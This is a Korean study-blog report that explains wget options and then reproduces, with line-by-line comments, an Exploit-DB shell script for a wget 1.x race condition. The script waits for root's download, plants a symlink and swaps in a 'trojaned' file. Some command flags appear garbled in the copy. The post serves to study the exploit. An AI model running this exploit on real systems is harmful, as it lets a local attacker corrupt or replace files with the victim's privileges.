본문 바로가기

Learning/└보고서

Shell Scripts Report

 

 

 

쉘 스크립트 분석 보고서

 

 

Linux wget 이란 ?

- wget 은 웹으로부터 파일이나 디렉토리를 다운로드 하는 역할은 한다.

 

wget사용 방법

# wget [옵션] [다운로드하고자 하는 URL]

# wget 옵션

옵션

설명

-r

디렉토리 구조와 파일을 그대로 하여 복사

-b

백그라운드에서 파일다운로드 실행

-c

연결이 끊긴 시점부터 이어서 파일 다운로드

 

분석 파일

# searchsploit linux | egrep '.sh$' | grep 24123.sh

WGet 1.x Insecure File Creation Race Condition Vulnerability | /linux/local/24123.sh

 

4. 소스 파일

( 파일 위치 : /usr/share/exploitdb/platforms/linux/local )

source: http://www.securityfocus.com/bid/10361/info

 

The 'wget' utility has been reported prone to a race-condition vulnerability. The issue exists because wget doesn't lock files that it creates and writes to during file downloads.

 

A local attacker may exploit this condition to corrupt files with the privileges of the victim who is running the vulnerable version of wget.

 

#!/bin/bash

 

rm -f salida.txt pid.txt *.wget /tmp/patch-2.4.26.bz2 //파일 삭제

echo "1">salida.txt // 1을 넣어 salida.txt 파일 생성

a=`cat salida.txt` // 변수 a1대입

echo "Waiting for Wget execution..." // 출력문

 

while [ "$a" == 1 ] //변수 a1이면 반복문 출력

do

ps auxw|grep wget|grep patch-2.4.26.bz2>>salida.txt

// wget patch-2.4.26.bz2 가 들어간 프로세스를 검색해 salida.txt에 저장

a=`cat salida.txt` // salida파일을 출력하여 변수 a에 저장

done

 

echo "Process catched!"

pgrep -u root wget>pid.txt

// root 유저가 사용하는 프로세스중 wget의 프로세스 id를 찾아 저장

ln -s /dev/null /tmp/patch-2.4.26.bz2 // /dev/null 링크 생성

echo "/dev/null link created!"

echo "Waiting for downloading to finish..."

 

b=`pgrep -u root wget`

touch $b.wget

c=1

while [ "$c" == 1 ]

do

if [ -e .wget ] //wget 파일이 존재하는 경우 if문 시작

then

c=0 // while 문 종료를 위해 0을 대입

echo "Downloading finished! Let's delete the original file, and put our trojaned file :-)"

rm f /tmp/patch-2.4.26.bz2 // /tmp/patch-2.4.26.bz2 파일 삭제

echo "Surprise!">/tmp/patch-2.4.26.bz2 // /tmp/patch-2.4.26.bz2Surprise!저장

echo "Does it worked?"

 

ls la /tmp/patch-2.4.26.bz2 // /tmp/patch-2.4.26.bz2 파일 검색

 

else // 존재가 하지 않으면 다시 생성.

b=`pgrep -u root wget`

touch $b.wget

fi

 

done

 

'Learning > └보고서' 카테고리의 다른 글

Yasca program Report  (0) 2016.12.27
Shell Scripts Report Ⅱ  (0) 2016.12.11
Googling Report  (0) 2016.12.10
Bash Shell Bug Report  (0) 2016.12.10